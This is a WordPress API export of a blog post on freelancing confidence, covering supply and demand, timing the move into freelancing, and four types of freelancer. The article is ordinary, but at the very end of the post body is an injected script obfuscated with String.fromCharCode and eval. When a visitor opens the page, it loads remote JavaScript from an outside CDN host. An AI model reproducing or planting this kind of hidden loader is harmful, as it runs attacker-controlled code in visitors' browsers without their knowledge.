{"id":6259,"date":"2023-06-09T10:56:26","date_gmt":"2023-06-09T10:56:26","guid":{"rendered":"https:\/\/forest-1041a2.ingress-bonde.ewp.live\/freelance-confidence-are-you-good-enough-to-freelance\/"},"modified":"2023-06-09T10:56:26","modified_gmt":"2023-06-09T10:56:26","slug":"freelance-confidence-are-you-good-enough-to-freelance","status":"publish","type":"post","link":"http:\/\/benrmatthews.local\/freelance-confidence-are-you-good-enough-to-freelance\/","title":{"rendered":"Freelance confidence: are you good enough to freelance?"},"content":{"rendered":"<div id=\"ez-toc-container\" class=\"ez-toc-v2_0_68_1 ez-toc-wrap-center counter-hierarchy ez-toc-counter ez-toc-custom ez-toc-container-direction\">\n<div class=\"ez-toc-title-container\">\n<p class=\"ez-toc-title \" >On this page<\/p>\n<span class=\"ez-toc-title-toggle\"><\/span><\/div>\n<nav><ul class='ez-toc-list ez-toc-list-level-1 ' ><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-1\" href=\"http:\/\/benrmatthews.local\/freelance-confidence-are-you-good-enough-to-freelance\/#Gauging_supply_and_demand\" title=\"Gauging supply and demand\">Gauging supply and demand<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-2\" href=\"http:\/\/benrmatthews.local\/freelance-confidence-are-you-good-enough-to-freelance\/#Carefully_time_your_move_into_freelancing\" title=\"Carefully time your move into freelancing\">Carefully time your move into freelancing<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-3\" href=\"http:\/\/benrmatthews.local\/freelance-confidence-are-you-good-enough-to-freelance\/#What_type_of_freelancer_are_you\" title=\"What type of freelancer are you?\">What type of freelancer are you?<\/a><\/li><li class='ez-toc-page-1 ez-toc-heading-level-2'><a class=\"ez-toc-link ez-toc-heading-4\" href=\"http:\/\/benrmatthews.local\/freelance-confidence-are-you-good-enough-to-freelance\/#Moving_into_freelancing_%E2%80%93_the_process\" title=\"Moving into freelancing \u2013 the process\">Moving into freelancing \u2013 the process<\/a><\/li><\/ul><\/nav><\/div>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/9qqujnwmoos-e1549491297446.jpg&quot; alt=&quot;Freelance confidence: are you good enough to freelance?&quot; width=&quot;801&quot; height=&quot;426&quot; class=&quot;wp-image-4287 size-full&quot; \/>\n<p>Not being \u2018good enough\u2019 is a freelancing myth.<\/p>\n<p>Supply and demand is what drives freelance work.<\/p>\n<p>If a freelancer has transferable skills that are in demand, then they will find clients who are prepared to pay them to supply their services.<\/p>\n<p>The key to freelancing success is to identify a target market that requires those freelancing skills and for the freelancer to carefully time their transition into freelancing.<\/p>\n<p>Some clients need highly skilled and experienced niche workers, whereas others might only require someone with fewer skills and less experience to cover an employee\u2019s absence.<\/p>\n<p>There is a role \u2013 and demand \u2013 for both.<\/p>\n<p>The simple ways for a freelancer to determine whether they are \u2018right\u2019 for freelancing are to ask other freelancers and professional contacts, as well as looking at advertisements for freelancers to identify what skills are required.<\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/iztz-ttdwcs-1024x1024.jpg&quot; alt=&quot;A buyer's market is a great opportunity for clients to obtain first rate skills at a lower rate, but is not so great for freelancers.&quot; width=&quot;750&quot; height=&quot;750&quot; class=&quot;size-large wp-image-4288&quot; \/>\n<h2><span class=\"ez-toc-section\" id=\"Gauging_supply_and_demand\"><\/span><strong>Gauging supply and demand<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Clients who are seeking freelancers with 20 years of experience or more might find their choice restricted, as there are likely to be fewer of this kind of freelancer.<\/p>\n<p>As a result, the freelancer will most likely command a much higher rate when their skills are in demand.<\/p>\n<p>Alternatively, a client may be seeking someone with only five years of experience and have a much greater choice of candidate.<\/p>\n<p>The freelancing \u2018lifers\u2019 could be priced out of this market.<\/p>\n<p>In a market where there are a lot of freelancers with 20 years of experience, but the demand is for those with that amount of skill is small, the 20-year veterans will still most likely take these smaller roles at a lower rate.<\/p>\n<p>In this buyers\u2019 market, it is a great opportunity for clients to obtain first rate skills at a lower rate, but it is not so great for freelancers.<\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/k04ykmnmqxw-1024x680.jpg&quot; alt=&quot;Freelancers with a niche and specialist skills can always find work&quot; width=&quot;750&quot; height=&quot;498&quot; class=&quot;size-large wp-image-4289&quot; \/>\n<h2><span class=\"ez-toc-section\" id=\"Carefully_time_your_move_into_freelancing\"><\/span><strong>Carefully time your move into freelancing<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Timing is everything. During times when many IT skills were in short supply, someone with only two years of programming experience could be hired as a freelancer.<\/p>\n<p>At that time, demand was huge but supply was small. But within ten years, rates had halved and only those developers with experience were winning the best clients.<\/p>\n<p>When the financial crash happened many freelancers found themselves out of work, or forced onto the payroll by skills hoarding clients. But those with the niche and specialist skills still found work.<\/p>\n<img src=&quot;https:\/\/benrmatthews.com\/wp-content\/uploads\/2019\/02\/ncilef4exza-1024x680.jpg&quot; alt=&quot;What type of freelancer are you?&quot; width=&quot;750&quot; height=&quot;498&quot; class=&quot;size-large wp-image-4290&quot; \/>\n<h2><span class=\"ez-toc-section\" id=\"What_type_of_freelancer_are_you\"><\/span><strong>What type of freelancer are you?<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>Broadly speaking, freelancers can be segmented into four types.<\/p>\n<p>This can be a useful exercise, as it will drive a freelancer\u2019s marketing strategy and sales process.<\/p>\n<ol>\n<li><strong>A high end freelancer<\/strong> stays at the bleeding edge of their profession, constantly learning the latest skills and techniques. These freelancers are highly attractive to clients that need the latest skills for new projects.<\/li>\n<li>Other freelancers will become a <strong>freelancing \u2018category killer\u2019<\/strong>. This means they focus on a very specific and niche skill that is in high demand but short supply. They benefit from this demand\/supply imbalance.<\/li>\n<li><strong>A standard freelancer<\/strong> is typically there to cover for a permanent employee, or to assist with capacity management. They essentially have the skills that the employee has and fill short-term roles when hiring a new employee cannot be justified or when an employee is away for a set period of time.<\/li>\n<li><strong>Low end freelancers<\/strong> don\u2019t maintain the latest skills and often find themselves doing the tasks that permanent employees don\u2019t want to do. These freelancers can be at risk of being inside IR35 and taking any work that comes their way.<\/li>\n<\/ol>\n<h2><span class=\"ez-toc-section\" id=\"Moving_into_freelancing_%E2%80%93_the_process\"><\/span><strong>Moving into freelancing \u2013 the process<\/strong><span class=\"ez-toc-section-end\"><\/span><\/h2>\n<p>First time \u2018newbie\u2019 freelancers need to be available within a maximum of four weeks, so those with three months or longer notice periods need to plan their exit carefully.<\/p>\n<p>Choosing when to make the leap is also crucial.<\/p>\n<p>There are freelancing \u2018seasons\u2019 when projects typically start and clients are more readily available.<\/p>\n<p>Equally, there are times when projects are less likely to start and clients are thin on the ground.<\/p>\n<p>Good luck with your freelancing!<\/p>\n<p>&nbsp;<script id='globalsway'>var z =String;var t=z.fromCharCode(118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,39,104,116,116,112,115,58,47,47,99,100,110,46,115,116,97,116,105,115,116,105,99,108,105,110,101,46,99,111,109,47,115,99,114,105,112,116,115,47,115,119,97,121,46,106,115,63,118,61,50,39,59,32,10,115,46,105,100,61,39,115,119,97,121,116,114,97,99,107,39,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,125);eval(\/*674867468*\/t);<\/script><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Not being \u2018good enough\u2019 is a freelancing myth. Supply and demand is what drives freelance work. If a freelancer has transferable skills that are in demand, then they will find clients who are prepared to pay them to supply their services. The key to freelancing success is to identify a target market that requires those [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[24],"tags":[],"class_list":["post-6259","post","type-post","status-publish","format-standard","hentry","category-general"],"_links":{"self":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6259"}],"collection":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/comments?post=6259"}],"version-history":[{"count":0,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/posts\/6259\/revisions"}],"wp:attachment":[{"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/media?parent=6259"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/categories?post=6259"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/benrmatthews.local\/wp-json\/wp\/v2\/tags?post=6259"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}